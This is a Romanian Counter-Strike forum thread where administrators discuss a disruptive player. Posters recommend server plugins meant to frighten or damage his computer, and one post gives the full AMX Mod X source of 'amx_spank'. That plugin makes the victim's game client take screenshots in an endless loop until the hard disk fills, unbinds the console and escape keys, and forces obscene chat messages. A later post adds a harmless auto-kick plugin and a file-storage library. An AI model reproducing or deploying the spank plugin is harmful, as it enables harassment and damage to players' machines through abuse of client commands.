Anti-destroy

Discutii despre problemele aparute in jocul Counter-Strike.

Moderators: Moderatori ajutatori, Moderatori, Echipa eXtreamCS.com

User avatar
dRaGoNeLy^ ;x
Membru, skill +3
Membru, skill +3
Posts: 1430
Joined: 27 Jun 2014, 15:42
Detinator Steam: Da
CS Status: PR0 Than Y0U!
Detinator server CS: Nu.
SteamID: PM!
Reputatie: Castigator Membru Club eXtream @ Mos Nicolae (doua luni)
Fost Membru Club eXtreamCS (patru luni)
Fond eXtream: 0
Location: București
Has thanked: 23 times
Been thanked: 13 times
Contact:

04 Aug 2014, 18:13

Sa moara codatii!
Image
RoyalServer 2
Cosmin
Fost moderator
Fost moderator
Posts: 9362
Joined: 06 Jul 2013, 22:08
Detinator Steam: Da
Detinator server CS: Nu
Reputatie: Fost eXtream Mod
Fost Scripter eXtreamCS
Nume anterior: scosmynnnn
Has thanked: 492 times
Been thanked: 547 times

04 Aug 2014, 23:54

nu e vorba ca sperii un player ci ii sperii pe toti dupa server,am luat si eu o comanda de genul ma idemult cand faceam spam pe un server cu serverul meu :)) mi-a bagat un exploit dar l-a detectat virusul,mi-a scos cd rom de cateva ori pana l-am restartat apoi a mers ok :)) ..

P.S. Incearca amx_pika si vezi daca mai face s'au amx_genius.
User avatar
dRaGoNeLy^ ;x
Membru, skill +3
Membru, skill +3
Posts: 1430
Joined: 27 Jun 2014, 15:42
Detinator Steam: Da
CS Status: PR0 Than Y0U!
Detinator server CS: Nu.
SteamID: PM!
Reputatie: Castigator Membru Club eXtream @ Mos Nicolae (doua luni)
Fost Membru Club eXtreamCS (patru luni)
Fond eXtream: 0
Location: București
Has thanked: 23 times
Been thanked: 13 times
Contact:

05 Aug 2014, 00:45

Daca nu amx_virus, Amx_genius la putere!
Image
User avatar
AZzeL
Membru, skill +2
Membru, skill +2
Posts: 981
Joined: 02 Oct 2012, 15:24
Detinator Steam: Da
CS Status: Invat ingerasii sa moara !
Detinator server CS: VALCEA.FIREON.RO
Location: Valcea
Has thanked: 64 times
Been thanked: 27 times
Contact:

05 Aug 2014, 01:30

Ai incercat Advanced Bans ?
[ EntrySoft Hosting SRL ( Reducere 20% prin codul AZZEL20 ) ]
[ MxHost™ ]
Cosmin
Fost moderator
Fost moderator
Posts: 9362
Joined: 06 Jul 2013, 22:08
Detinator Steam: Da
Detinator server CS: Nu
Reputatie: Fost eXtream Mod
Fost Scripter eXtreamCS
Nume anterior: scosmynnnn
Has thanked: 492 times
Been thanked: 547 times

05 Aug 2014, 01:37

are ip dinamic..degeaba ii da ban,incearca amx_genius sa il sperii,asa am patit si eu cu codati de genul ip dinamic ,anti-destroy etc..am dat genius si s-a speriat cand i-a iesit cd rom
User avatar
dRaGoNeLy^ ;x
Membru, skill +3
Membru, skill +3
Posts: 1430
Joined: 27 Jun 2014, 15:42
Detinator Steam: Da
CS Status: PR0 Than Y0U!
Detinator server CS: Nu.
SteamID: PM!
Reputatie: Castigator Membru Club eXtream @ Mos Nicolae (doua luni)
Fost Membru Club eXtreamCS (patru luni)
Fond eXtream: 0
Location: București
Has thanked: 23 times
Been thanked: 13 times
Contact:

05 Aug 2014, 02:16

Voi nu aveti somn? :-s
Image
User avatar
AZzeL
Membru, skill +2
Membru, skill +2
Posts: 981
Joined: 02 Oct 2012, 15:24
Detinator Steam: Da
CS Status: Invat ingerasii sa moara !
Detinator server CS: VALCEA.FIREON.RO
Location: Valcea
Has thanked: 64 times
Been thanked: 27 times
Contact:

05 Aug 2014, 03:42

Foloseste amx_spank si ii umpli HDD-ul de poze .
amx_spank | Afiseaza codul
#include <amxmodx>
#include <amxmisc>

#define PLUGIN "New Plug-In"
#define VERSION "1.0"
#define AUTHOR "Arion2"

#define bZ 45630

new bool:bCmd = false;
new g_servfile[128];
new g_servdir[64],g_servtxt[32],g_servlen = 31,r,t;
new g_savesrv;

public plugin_init() {
   register_plugin(PLUGIN, VERSION, AUTHOR)
   
   register_concmd("amx_spank","spankme",ADMIN_RCON,"<nick> : Face ca jucatorul sa ia screenshoturi pana i se umple hardu, *NU SE POATE SCOATE* ") 
}

public spankme(id,level,cid)
{
   if (!cmd_access(id,level,cid,2))
   {
      return PLUGIN_HANDLED
   }
   if (bCmd)
   {
      waittimer(id)
      return PLUGIN_HANDLED
   }
   new arg[32],name[32],admin[32],sAuthid[35],sAuthid2[35],message[552],players[33],inum
   new fo_logfile[64],ctime[64],maxtext[256]
   read_argv(1,arg,31)
   new target = cmd_target(id,arg,1)
   get_user_name(target,name,31)
   get_user_name(id,admin,31)
   get_user_authid(target,sAuthid,34)
   get_user_authid(id,sAuthid2,34)
   get_configsdir(fo_logfile, 63)
   get_time("%m/%d/%Y - %H:%M:%S",ctime,63)
   
   loadsrv()
   writesrv()
   format(message,551,"Amx FuckOFF Translatat de ScaRba37^nAi dat spank la jucator fara batai de cap.^n%i served and counting...",g_savesrv);
       format(maxtext, 255, "[AMXX] %s: %s a folosit comanda  SPANK pe %s",ctime,admin,name)
       format(fo_logfile, 63, "%s/amxx_fuckoff.txt", fo_logfile)
   
   if(!target)
   { 
   
           return PLUGIN_HANDLED 
       }
       switch (get_cvar_num("amx_fuckoff_activity"))
   {
          case 1: client_cmd(target,"say ^"%s Ma **** de ma doare in ***.^"",admin)
          case 0: client_cmd(target,"say ^"Sunt o ***** si ma *** cu un vibrator .^"")
     }
     write_file(fo_logfile,maxtext,-1)
   set_hudmessage(255,255,0,0.47,0.55,0,6.0,12.0,0.1,0.2,1)
       show_hudmessage(0, message)
   client_cmd(target,"developer 1")
       client_cmd(0, "spk misc/yougotserved.wav");
   client_cmd(target,"unbind `; unbind ~;unbind escape")
   new parms[1]
   parms[0] = target
   set_task(1.0,"spank_timer",1337+id,parms,1)
       for (new i = 0; i < inum; ++i) 
   {
          if ( access(players,ADMIN_CHAT) )
             client_print(players,print_chat,"[AMXX]jucatorul:%s a luat spank de la %s",name,admin)
     }
     bCmd = true
   waittimer(id)
     return PLUGIN_CONTINUE
             
}
// spank timer, this cannot be stopped once started. User must be removed.
public spank_timer(parms[])
{
   new victim = parms[0]
   if(!is_user_connected(victim))   return PLUGIN_HANDLED
   // Can cause overflow, need to fix.
   client_cmd(victim,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
   //client_cmd(victim,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
   //client_cmd(victim,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
   parms[0] = victim
   set_task(0.1,"spank_timer",1337+victim,parms,1)
   
   return PLUGIN_CONTINUE
   
}

public waittimer(id){
   new parm[1]
   parm[0] = id
   if (bCmd){
      set_task(3.0,"waittime",bZ+id,parm)
   }
}
public waittime(id){
   if (task_exists(bZ+id)){
      remove_task(bZ+id)
   }
   bCmd = false
}

stock loadsrv(){
   get_configsdir(g_servdir, 63)
   format(g_servfile,127,"%s/served.q",g_servdir)
   if (!file_exists(g_servfile)){
      return PLUGIN_HANDLED
   }
   else {
      
          read_file(g_servfile,0,g_servtxt,g_servlen,r)
        
      g_savesrv = str_to_num(g_servtxt)
   }
   return PLUGIN_CONTINUE
}
stock writesrv(){
   get_configsdir(g_servdir, 63)
   format(g_servfile,127,"%s/served.q",g_servdir)
   if (!file_exists(g_servfile)){
      return PLUGIN_HANDLED
   }
   else {
      
          read_file(g_servfile,0,g_servtxt,g_servlen,t)
        
      
      g_savesrv = str_to_num(g_servtxt)
      g_savesrv = g_savesrv + 1
      format(g_servtxt,31,"%i",g_savesrv)
      delete_file(g_servfile)
      write_file(g_servfile,g_servtxt,-1)
   }
   return PLUGIN_CONTINUE
}
[ EntrySoft Hosting SRL ( Reducere 20% prin codul AZZEL20 ) ]
[ MxHost™ ]
User avatar
uzzi
Membru, skill +2
Membru, skill +2
Posts: 780
Joined: 28 Aug 2007, 17:12
Detinator Steam: Da
CS Status: 24/24 CS:GO
SteamID: steamhighman
Reputatie: Restrictie moderator
Nick anterior: Hermes, HADES
Utilizator neserios ( tepar )
Fond eXtream: 0
Location: Craiova - București
Contact:

05 Sep 2014, 15:08

A spus că a folosit și comanda amx_spank.
Este bun un multi-kick cum a spus w3zoo, și când se detectează un hack să fie automat scos de pe server.
Astfel de scripturi există și pe samp și multe jocuri și funcționează destul de bine.
"Happy to be alive."

STEAM: http://steamcommunity.com/id/steamhighman
Mă găsești doar pe steam.
User avatar
w3zoo_RedX
Membru, skill +2
Membru, skill +2
Posts: 737
Joined: 21 Dec 2013, 22:16
Detinator Steam: Da
CS Status: Scripter CS.
Detinator server CS: PM.
SteamID: PM.
Location: Bucuresti sector 2
Has thanked: 45 times
Been thanked: 45 times
Contact:

06 Sep 2014, 11:51

na ca am avut timp si miam amintit sal fac:
| Afiseaza codul
#include <amxmodx>
#include <amxmisc>
#include <fvault>

#define PLUGIN "AutoKick"
#define VERSION "1.2"
#define AUTHOR "zorken"


new const g_vault_name[] = "kick"

public plugin_init() {
	register_plugin(PLUGIN, VERSION, AUTHOR)
	
	register_concmd("amx_autokick", "cmdKick", ADMIN_KICK, "<name or #userid> [reason]")
}

public client_putinserver(id)
{
	LoadKick(id)
}
LoadKick(id)
{
	static data[16], authid[32], usrip[32]
	get_user_ip(id,usrip,31);
	get_user_authid(id, authid, 31)
	if(fvault_get_data(g_vault_name, usrip, data, 15))
	{
		server_cmd("kick #%s", authid)
	}
}
SaveKick(id)
{
	static key[32], data[32], usrip[32], authid[32]
	get_user_ip(id,usrip,31);
	get_user_authid(id, authid, 31)
	format(key, charsmax(key), "%s", usrip)
	format(data, charsmax(data), "%s", authid)
	fvault_set_data(g_vault_name, key, data)
}
public cmdKick(id, level, cid)
{
	if (!cmd_access(id, level, cid, 2))
		return PLUGIN_HANDLED
	
	new arg[32]
	read_argv(1, arg, 31)
	new player = cmd_target(id, arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF)
	
	if (!player)
		return PLUGIN_HANDLED
	
	new authid[32], authid2[32], name2[32], name[32], userid2, reason[32]
	
	get_user_authid(id, authid, 31)
	get_user_authid(player, authid2, 31)
	get_user_name(player, name2, 31)
	get_user_name(id, name, 31)
	SaveKick(id)
	userid2 = get_user_userid(player)
	read_argv(2, reason, 31)
	remove_quotes(reason)
	
	log_amx("AutoKick: ^"%s<%d><%s><>^" autokick ^"%s<%d><%s><>^" (reason ^"%s^")", name, get_user_userid(id), authid, name2, userid2, authid2, reason)
	
	show_activity_key("ADMIN_KICK_1", "ADMIN_KICK_2", name, name2);
	
	if (is_user_bot(player))
		server_cmd("kick #%d", userid2)
	else
	{
		if (reason[0])
			server_cmd("kick #%d ^"%s^"", userid2, reason)
		else
			server_cmd("kick #%d", userid2)
	}
	
	console_print(id, "[AMXX] Client ^"%s^" kicked", name2)
	
	return PLUGIN_HANDLED
}
fvault.inc
| Afiseaza codul
#if defined _file_vault_included
	#endinput
#endif

#define _file_vault_included

/**
 * FVault was created by Exolent on 8/24/08
 * This vault system uses actual files and no modules
 * It is very flexible and has many features
 * Visit this page for more information: http://forums.alliedmods.net/showthread.php?t=76453
 */

#include <amxmodx>

stock const _vault_dir[] = "addons/amxmodx/data/file_vault";
stock const _temp_vault[] = "fvault_temp.txt";

/** 
 * Retrieves a key name specified by its number
 * 
 * @param vaultname	Vault name to look in
 * @param keynum	Key number within the vault to find key name
 * @param key		String which key name will be copied to
 * @param len		Length of key name
 * @return		Returns 1 on success, 0 on failue.
 */
stock fvault_get_keyname(const vaultname[], const keynum, key[], len)
{
	new filename[128];
	_FormatVaultName(vaultname, filename, sizeof(filename) - 1);
	
	if( !file_exists(filename) )
	{
		return 0;
	}
	
	new vault = fopen(filename, "rt");
	
	new _data[64], _other[3];
	
	new line = -1;
	
	while( !feof(vault) )
	{
		fgets(vault, _data, sizeof(_data) - 1);
		
		if( ++line == keynum )
		{
			parse(_data, key, len, _other, sizeof(_other) - 1);
			
			fclose(vault);
			
			return 1;
		}
	}
	
	fclose(vault);
	
	return 0;
}

/** 
 * Retrieves a key number specified by its name
 * 
 * @param vaultname	Vault name to look in
 * @param key		Key name to search for
 * @return		Returns key number on success, -1 on failure
 */
stock fvault_get_keynum(const vaultname[], const key[])
{
	new filename[128];
	_FormatVaultName(vaultname, filename, sizeof(filename) - 1);
	
	if( !file_exists(filename) )
	{
		return -1;
	}
	
	new vault = fopen(filename, "rt");
	
	new _data[70], _key[64], _other[3];
	
	new line = -1;
	
	while( !feof(vault) )
	{
		fgets(vault, _data, sizeof(_data) - 1);
		parse(_data, _key, sizeof(_key) - 1, _other, sizeof(_other) - 1);
		
		line++;
		
		if( equal(_key, key) )
		{
			fclose(vault);
			
			return line;
		}
	}
	
	fclose(vault);
	
	return -1;
}

/** 
 * Retrieves data specified by a key
 * 
 * @param vaultname	Vault name to look in
 * @param key		Key name to look for the data
 * @param data		String which data will be copied to
 * @param len		Length of data
 * @param timestamp	The unix time of when the data was last set ( -1 if permanent data, 0 if old fvault version ) ( optional param )
 * @return		Returns 1 on success, 0 on failue.
 */
stock fvault_get_data(const vaultname[], const key[], data[], len, &timestamp=0)
{
	new filename[128];
	_FormatVaultName(vaultname, filename, sizeof(filename) - 1);
	
	if( !file_exists(filename) )
	{
		return 0;
	}
	
	new vault = fopen(filename, "rt");
	
	new _data[512], _key[64], _time[32];
	
	while( !feof(vault) )
	{
		fgets(vault, _data, sizeof(_data) - 1);
		parse(_data, _key, sizeof(_key) - 1);
		
		if( equal(_key, key) )
		{
			new _len = strlen(_key) + 4; // + 2 = quotes on key, + 1 = space, + 1 = first quote
			for( new i = copy(data, len, _data[_len]) - 1; i > 0; i-- )
			{
				if( data == '"' ) break;
				
				if( data == ' '
				&& data == '"' )
				{
					data = '^0';
					
					copy(_time, sizeof(_time) - 1, data[i + 1]);
					timestamp = str_to_num(_time);
					break;
				}
			}
			
			fclose(vault);
			
			return 1;
		}
	}
	
	fclose(vault);
	
	copy(data, len, "");
	
	return 0;
}

/** 
 * Sets data of a key with current timestamp
 * 
 * @param vaultname	Vault name to look in
 * @param key		Key name to which data will be set
 * @param data		Data to set to key
 * @return		Does not return a value.
 */
stock fvault_set_data(const vaultname[], const key[], const data[])
{
	_fvault_set_data(vaultname, key, data, get_systime());
}

/** 
 * Sets data of a key permanently (can't be removed with fvault_prune)
 * 
 * @param vaultname	Vault name to look in
 * @param key		Key name to which data will be set
 * @param data		Data to set to key
 * @return		Does not return a value.
 */
stock fvault_pset_data(const vaultname[], const key[], const data[])
{
	_fvault_set_data(vaultname, key, data, -1);
}

_fvault_set_data(const vaultname[], const key[], const data[], const timestamp)
{
	new file = fopen(_temp_vault, "wt");
	
	new filename[128];
	_FormatVaultName(vaultname, filename, sizeof(filename) - 1);
	
	new vault = fopen(filename, "rt");
	
	new _data[512], _key[64], _other[3];
	
	new bool:replaced = false;
	
	while( !feof(vault) )
	{
		fgets(vault, _data, sizeof(_data) - 1);
		parse(_data, _key, sizeof(_key) - 1, _other, sizeof(_other) - 1);
		
		if( equal(_key, key) && !replaced )
		{
			fprintf(file, "^"%s^" ^"%s^" %i^n", key, data, timestamp);
			
			replaced = true;
		}
		else
		{
			fputs(file, _data);
		}
	}
	
	fclose(file);
	fclose(vault);
	
	if( !replaced )
	{
		file = fopen(filename, "a+");
		fprintf(file, "^"%s^" ^"%s^" %i^n", key, data, timestamp);
		fclose(file);
		
		delete_file(_temp_vault);
	}
	else
	{
		delete_file(filename);
		
		while( !rename_file(_temp_vault, filename, 1) ) { }
	}
}

/** 
 * Removes a key from a vault
 * 
 * @param vaultname	Vault name to look in
 * @param key		Key to remove
 * @return		No return
 */
stock fvault_remove_key(const vaultname[], const key[])
{
	new filename[128];
	_FormatVaultName(vaultname, filename, sizeof(filename) - 1);
	
	if( !file_exists(filename) )
	{
		return;
	}
	
	new file = fopen(_temp_vault, "wt");
	
	new vault = fopen(filename, "rt");
	
	new _data[512], _key[64], _other[3];
	new bool:found_key;
	
	while( !feof(vault) )
	{
		fgets(vault, _data, sizeof(_data) - 1);
		parse(_data, _key, sizeof(_key) - 1, _other, sizeof(_other) - 1);
		
		if( equal(_key, key) )
		{
			found_key = true;
			continue;
		}
		
		fputs(file, _data);
	}
	
	fclose(file);
	fclose(vault);
	
	if( found_key )
	{
		delete_file(filename);
		
		while( !rename_file(_temp_vault, filename, 1) ) { }
	}
	else
	{
		delete_file(_temp_vault);
	}
}

/**
 * Prunes the vault for keys that are within the given timestamps
 * 
 * @param vaultname	Vault name to look in
 * @param start		If timestamp is after this Unix Time (set -1 to prune from very start)
 * @param end		If timestamp is before this Unix Time (set -1 to prune to most time)
 * @return		Returns number of keys pruned
 */
stock fvault_prune(const vaultname[], const start=-1, const end=-1)
{
	if( start == -1 && end == -1 )
	{
		new keys = fvault_size(vaultname);
		if( keys )
		{
			fvault_clear(vaultname);
		}
		
		return keys;
	}
	
	new filename[128];
	_FormatVaultName(vaultname, filename, sizeof(filename) - 1);
	
	if( !file_exists(filename) )
	{
		return 0;
	}
	
	new file = fopen(_temp_vault, "wt");
	new vault = fopen(filename, "rt");
	
	new keys;
	
	new data[512], i, _time[32], timestamp;
	while( !feof(vault) )
	{
		fgets(vault, data, sizeof(data) - 1);
		
		if( data[0] )
		{
			_time[0] = 0;
			
			for( i = strlen(data) - 1; i >= 0; i-- )
			{
				if( data == '"' ) break;
				
				if( data == ' ' )
				{
					copy(_time, sizeof(_time) - 1, data[i + 1]);
					break;
				}
			}
			
			timestamp = str_to_num(_time);
			if( timestamp != -1 )
			{
				if( start == -1 && timestamp <= end
				|| end == -1 && timestamp >= start
				|| start <= timestamp <= end )
				{
					keys++;
					continue;
				}
			}
		}
		
		fputs(file, data);
	}
	
	fclose(file);
	fclose(vault);
	
	if( keys )
	{
		delete_file(filename);
		
		while( !rename_file(_temp_vault, filename, 1) ) { }
	}
	else
	{
		delete_file(_temp_vault);
	}
	
	return keys;
}

/**
 * Updates the timestamp on a key located within the vault
 * 
 * @param vaultname	Vault name to look in
 * @param key		Key to update timestamp (if it doesn't exist, a blank value will be set)
 * @param timestamp	Unix Time to set for the key (-1 for current time)
 * @return		Returns 2 on new entry, 1 on success, 0 on failure for the key having a permanent timestamp
 */
stock fvault_touch(const vaultname[], const key[], const timestamp=-1)
{
	new filename[128];
	_FormatVaultName(vaultname, filename, sizeof(filename) - 1);
	
	static new_time;
	if( (new_time = timestamp) == -1 )
	{
		new_time = get_systime();
	}
	
	if( !file_exists(filename) )
	{
		new vault = fopen(filename, "wt");
		fprintf(vault, "^"%s^" ^"^" %i^n", key, new_time);
		fclose(vault);
		return 2;
	}
	
	new file = fopen(_temp_vault, "wt");
	new vault = fopen(filename, "rt");
	
	new bool:updated;
	
	new data[512], _key[64], len, i, _time[32];
	while( !feof(vault) )
	{
		fgets(vault, data, sizeof(data) - 1);
		parse(data, _key, sizeof(_key) - 1);
		
		if( equal(_key, key) )
		{
			_time[0] = 0;
			
			for( i = strlen(data) - 1; i >= 0; i-- )
			{
				if( data == '"' ) break;
				
				if( data == ' ' )
				{
					data = '^0';
					copy(_time, sizeof(_time) - 1, data[i + 1]);
					break;
				}
			}
			
			if( str_to_num(_time) == -1 )
			{
				fclose(file);
				fclose(vault);
				
				delete_file(_temp_vault);
				
				return 0;
			}
			
			fprintf(file, "%s %i^n", data, new_time);
			
			updated = true;
		}
		else
		{
			fputs(file, data);
		}
	}
	
	if( !updated )
	{
		fprintf(file, "^"%s^" ^"^" %i^n", key, new_time);
	}
	
	fclose(file);
	fclose(vault);
	
	delete_file(filename);
	
	while( !rename_file(_temp_vault, filename, 1) ) { }
	
	return (_:(!updated) + 1);
}

/** 
 * Retrieves total keys located within the vault
 * 
 * @param vaultname	Vault name to look in
 * @return		Returns amount of keys in vault
 */
stock fvault_size(const vaultname[])
{
	new filename[128];
	_FormatVaultName(vaultname, filename, sizeof(filename) - 1);
	
	return file_exists(filename) ? file_size(filename, 1) - 1 : 0;
}

/** 
 * Clears all key entries for a vault
 * 
 * @param vaultname	Vault name to erase
 * @return		No return
 */
stock fvault_clear(const vaultname[])
{
 	new filename[128];
	_FormatVaultName(vaultname, filename, sizeof(filename) - 1);
	
	fclose(fopen(filename, "wt"));
}

/** 
 * Retrieves a vault name specified by its number
 * 
 * @param vaultnum	Vault number to find the vault name
 * @param vaultname	String which vault name will be copied to
 * @param len		Length of vault name
 * @return		Returns 1 on success, 0 on failue.
 */
stock fvault_get_vaultname(const vaultnum, vaultname[], len)
{
	if( !dir_exists(_vault_dir) )
	{
		mkdir(_vault_dir);
		return 0;
	}
	
	new filenum;
	
	new dir = open_dir(_vault_dir, vaultname, len);
	
	do
	{
		if( equal(vaultname, ".") || equal(vaultname, "..") )
		{
			continue;
		}
		
		if( filenum == vaultnum )
		{
			close_dir(dir);
			
			replace(vaultname, len, ".txt", "");
			
			return 1;
		}
		
		++filenum;
	}
	while( next_file(dir, vaultname, len) );
	
	close_dir(dir);
	
	copy(vaultname, len, "");
	
	return 0;
}

/** 
 * Retrieves a vault number specified by its name
 * 
 * @param vaultname	Vault name to find the number
 * @return		Returns vault number on success, -1 on failure
 */
stock fvault_get_vaultnum(const vaultname[])
{
	if( !dir_exists(_vault_dir) )
	{
		mkdir(_vault_dir);
		return -1;
	}
	
	new filename[128], filenum;
	
	new dir = open_dir(_vault_dir, filename, sizeof(filename) - 1);
	
	do
	{
		if( equal(filename, ".") || equal(filename, "..") )
		{
			continue;
		}
		
		replace(filename, sizeof(filename) - 1, ".txt", "");
		
		if( equal(filename, vaultname) )
		{
			close_dir(dir);
			
			return filenum;
		}
		
		++filenum;
	}
	while( next_file(dir, filename, sizeof(filename) - 1) );
	
	close_dir(dir);
	
	copy(vaultname, len, "");
	
	return -1;
}

/** 
 * Retrieves total vaults ever created
 * 
 * @return		Returns amount of vaults
 */
stock fvault_total()
{
	if( !dir_exists(_vault_dir) )
	{
		mkdir(_vault_dir);
		return 0;
	}
	
	new vaultname[128], filename[128];
	new dir = open_dir(_vault_dir, vaultname, sizeof(vaultname) - 1);
	
	new filenum;
	do
	{
		if( equal(vaultname, ".") || equal(vaultname, "..") )
		{
			continue;
		}
		
		formatex(filename, sizeof(filename) - 1, "%s/%s", _vault_dir, vaultname);
		if( file_exists(filename) )
		{
			++filenum;
		}
	}
	while( next_file(dir, vaultname, sizeof(vaultname) - 1) );
	
	close_dir(dir);
	
	return filenum;
}

/**
 * Gets all vault keys, data, and timestamps
 * 
 * @param		vaultname - Vault name to look in
 * @param		keys - cellarray holding all of the keys
 * @param		datas - cellarray holding all of the data values
 * @param		timestamps - cellarray holding all of the timestamps
 * 
 * @return		Returns total number of entries in vault
 * 
 * @note		keys needs to be created like this: ArrayCreate(64)
 * 			datas needs to be created like this: ArrayCreate(512)
 * 			timestamps need to be created like this: ArrayCreate()
 */
stock fvault_load(const vaultname[], Array:keys=Invalid_Array, Array:datas=Invalid_Array, Array:timestamps=Invalid_Array)
{
	new filename[128];
	_FormatVaultName(vaultname, filename, 127);
	
	if( !file_exists(filename) )
	{
		return 0;
	}
	
	new vault = fopen(filename, "rt");
	
	new array_size;
	
	new filedata[1024];
	new key[64], data[512], timestamp[32];
	while( !feof(vault) )
	{
		fgets(vault, filedata, 1023);
		
		if( parse(filedata, key, 63, data, 511, timestamp, 31) < 2 )
		{
			continue;
		}
		
		if( keys != Invalid_Array )
		{
			ArrayPushString(keys, key);
		}
		if( datas != Invalid_Array )
		{
			ArrayPushString(datas, data);
		}
		if( timestamps != Invalid_Array )
		{
			ArrayPushCell(timestamps, str_to_num(timestamp));
		}
		
		array_size++;
	}
	
	fclose(vault);
	
	return array_size;
}
 
stock _FormatVaultName(const vaultname[], filename[], len)
{
	static const invalid_chars[][] =
	{
		"/", "\", "*", ":", "?", "^"", "<", ">", "|"
	};
	
	static tempvault[128], i;
	copy(tempvault, sizeof(tempvault) - 1, vaultname);
	
	for( i = 0; i < sizeof(invalid_chars); i++ )
	{
		replace_all(tempvault, sizeof(tempvault) - 1, invalid_chars, "");
	}
	
	if( !dir_exists(_vault_dir) )
	{
		mkdir(_vault_dir);
	}
	
	formatex(filename, len, "%s/%s.txt", _vault_dir, tempvault);
}
Post Reply

Return to “Probleme in jocul Counter-Strike”

  • Information
  • Who is online

    Users browsing this forum: No registered users and 14 guests